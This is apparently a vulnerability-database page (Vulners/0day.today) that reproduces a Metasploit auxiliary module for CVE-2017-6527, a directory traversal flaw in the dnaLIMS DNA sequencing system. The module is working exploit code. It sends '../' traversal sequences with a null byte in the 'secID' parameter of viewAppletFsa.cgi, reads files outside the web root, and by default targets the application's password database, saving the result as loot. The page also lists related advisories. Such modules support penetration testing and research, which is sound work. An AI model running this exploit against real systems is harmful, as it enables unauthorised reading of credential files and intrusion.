Lucene search
K

dnaLIMS Directory Traversal Exploit

🗓️ 02 Apr 2017 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 31 Views

dnaLIMS Directory Traversal Vulnerability Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
dnaLIMS Code Execution / XSS / Traversal / Session Hijacking Vulnerabilities
10 Mar 201700:00
zdt
ATTACKERKB
CVE-2017-6527
9 Mar 201700:00
attackerkb
Circl
CVE-2017-6527
29 May 201815:50
circl
CVE
CVE-2017-6527
9 Mar 201719:00
cve
Cvelist
CVE-2017-6527
9 Mar 201719:00
cvelist
Exploit DB
dnaLIMS DNA Sequencing - Directory Traversal / Session Hijacking / Cross-Site Scripting
10 Mar 201700:00
exploitdb
exploitpack
dnaLIMS DNA Sequencing - Directory Traversal Session Hijacking Cross-Site Scripting
10 Mar 201700:00
exploitpack
Metasploit
DnaLIMS Directory Traversal
20 Mar 201714:40
metasploit
NVD
CVE-2017-6527
9 Mar 201719:59
nvd
OpenVAS
dnaLIMS Multiple Security Vulnerabilities
13 Mar 201700:00
openvas
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DnaLIMS Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability found in dnaLIMS.
        Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
        to read a file outside the www directory.
      },
      'References'     =>
        [
          ['CVE', '2017-6527'],
          ['US-CERT-VU', '929263'],
          ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
        ],
      'Author'         =>
        [
          'h00die <[email protected]>',    # Discovery, PoC
          'flakey_biscuit <[email protected]>'  # Discovery, PoC
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Mar 8 2017"
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
        OptString.new('FILE', [ true,  "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
        OptInt.new('DEPTH', [true, 'The traversal depth', 4])
      ], self.class)

    deregister_options('RHOST')
  end


  def run_host(ip)
    file     = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
    traverse = "../" * datastore['DEPTH']
    uri      = normalize_uri(target_uri.path)
    base     = File.dirname("#{uri}/.")

    print_status("Requesting: #{file} - #{rhost}")
    res = send_request_cgi({
      'uri'      => "#{base}/viewAppletFsa.cgi",
      'vars_get' => { 'secID' => "#{traverse}#{file}%00",
                     'Action' => 'blast',
                    'hidenav' => '1'
      }
    })

    if not res
      print_error("No response from server.")
      return
    end

    if res.code != 200
      print_error("Server returned a non-200 response (body will not be saved):")
      print_line(res.to_s)
      return
    end

    vprint_good(res.body)
    p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
    print_good("File saved as: #{p}")
  end

end


#  0day.today [2018-01-26]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Apr 2017 00:00Current
8.1High risk
Vulners AI Score8.1
EPSS0.75905
31